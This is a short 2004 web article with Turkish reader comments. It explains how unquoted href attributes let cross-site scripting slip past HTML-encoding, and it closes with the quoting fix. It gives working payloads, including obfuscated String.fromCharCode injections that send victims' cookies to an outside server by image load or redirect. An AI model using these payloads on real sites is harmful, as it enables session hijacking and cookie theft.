Small XSS Paper : Dangerous HREF Attributes which don't have quotes

22.07.2004

Okuyucu : 14.871
Günlük Okuyucu : 10,3

Some web application doesn't care about web standards. Using quotes in "href" attributes in links is important for standards and also it's important for security.

Most of websites move SessionId's and other queries over URL. It means what you write URL will be appeared in page within href attributes. For avoiding XSS attacks developers Encode HTML characters from queries. Most filtered strings are [;],["],[javascript],[<],[>].

Developer can fix XSS attacks by filtering these strings but if they don't use quotes in their links they still vulnerable.

POC & Details;

Sample URL;
http://[victim]/action.asp?session=123567890

HTML Code;

<a href=default.asp?session=<%=Server.HTMLEncode(Request.Querystring("session"))%>>Main Page</a>

Possible Attack URL;

http://[victim]/?session=12312421"><script>alert(document.domain)</script>

- This will not work because we already filtered HTML.

But this works;

http://[victim]/?session=12312421'%20style='width:expression(alert(document.domain))'%20><script>alert(document.domain)</script>

I injected XSS via style::expression() method because we still can not use quotes and brackets.

Hijacking onclick action; If you hijack onclick it will be executed when victim clicks to link.

http://[victim]/?session=12312421'%20onclick='alert(document.domain)'

Some Realword Examples;

Stealth hijacking;
Inject an image to page which send cookie to attacker server (ie : http://attacker/ )

http://[victim]/?session=12312421'%20style='color:expression(!(document.x)?eval(String.fromCharCode(116,104,105,115,46,115,116,121,108,101,46,98,97,99,107,103,114,111,117,110,100,73,109,97,103,101,61,34,117,114,108,40,104,116,116,112,58,47,47,102,101,114,114,117,104,46,109,97,118,105,116,117,110,97,46,99,111,109,47,120,115,115,47,63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,41,34)):0);font-weight:expression(document.x%3Dtrue)'%20&edinew=3

Page Redirection;
Redirect Page to http://attacker/?[cookies] URL with active user cookie.

http://[victim]/?session=12312421'%20style='width:expression(eval( String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,102,101,114,114,117,104,46,109,97,118,105,116,117,110,97,46,99,111,109,47,120,115,115,47,63,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)))'

This code will execute this JS when browser renders link;

document.location='http://ferruh.mavituna.com/xss/?'+escape(document.cookie)

- I use String.fromCharCode() in these samples because of our victim filtered out HTML so I still can not use brackets and some other special chars. Go http://ferruh.mavituna.com/stringfromcharcode.asp for online String.fromCharCode() generator.

How to protect ?;

Use quotes to fix this problem.

Secure HTML Code;

<a href="default.asp?session=<%=Server.HTMLEncode(Request.Querystring("session"))%>">Main Page</a>

Author;

Ferruh Mavituna http://ferruh.mavituna.com
ferruh{at}mavituna{dot}com

Date :5/9/2004

Yorumlar

RSS Bu makalenin yorumlarını RSS ile takip et!

türkçesinide yazsaydın süper olurdu :)

kuen [ # | 22.07.2004 ]

Bencede bunun birde türkçesini yazsaydın.. Velasıl bununla ilgili dün çok güzel bir class yazdım çok yakında yayınlayacağım..

@Ferruh bey sitenizde de yayınlarsanız çok mutlu olarum.. Hatta isterseniz ilk önce size gönderip denemenisi isterim.. Emin olmak için..

Classın yaptığı SQL injection ve XSS açıklarını en aza indirgemek ve hatta tamamen yapmak.. Ben yaptığım çalışmalarda herşey mükhemmel ama siz bu konularda benden daha bilgilisiniz..

Eğer denemeyi kabul ederseniz çok sevinirim..

Bu arada isteğe bağlı olarak yapılan saldırıları günlük olarak logluyor. Zaman,ip ve saldırı şekli olarak..

Saygılar

Shiva Shidapu [ # | 22.07.2004 ]

@Shiva Shidapu, Tabii hem sitede yayınlayabiliriz hemde şahsen kontrol aşamasında yardımcı olmaya çalışırım. Ek olarak zaten bu tip güvenilk kodlarının public olarak test edilmesi de çok daha iyi şeydir. Birinin gözünden kaçanı diğeri yakalayabilir.

Ferruh Mavituna [ # | 23.07.2004 ]

@Ferruh bey size cuma günü gönderdim yazdığım classı. Acaba inceleme fırsatınız oldu mu?

Shiva Shidapu [ # | 26.07.2004 ]

Şu class ı merak ettim biz de inceleyebilir miyiz?

Jayhoonova [ # | 05.08.2004 ]

thanks for good skill..

binish [ # | 07.08.2004 ]

Yorum Ekle





Kullanılabilir Taglar : [<blockquote>] [<strong>] [<em>]

Diğer Yazılar

Neredeyim ?

Ferruh.Mavituna » Güvenlik (Security) » Small XSS Paper : Dangerous HREF Attributes which don't have quotes

Ferruh Mavituna
© 2002-2007, Ferruh Mavituna

Sabit IP Adresi : 81.22.99.133, SSL Erişimi, Hakkında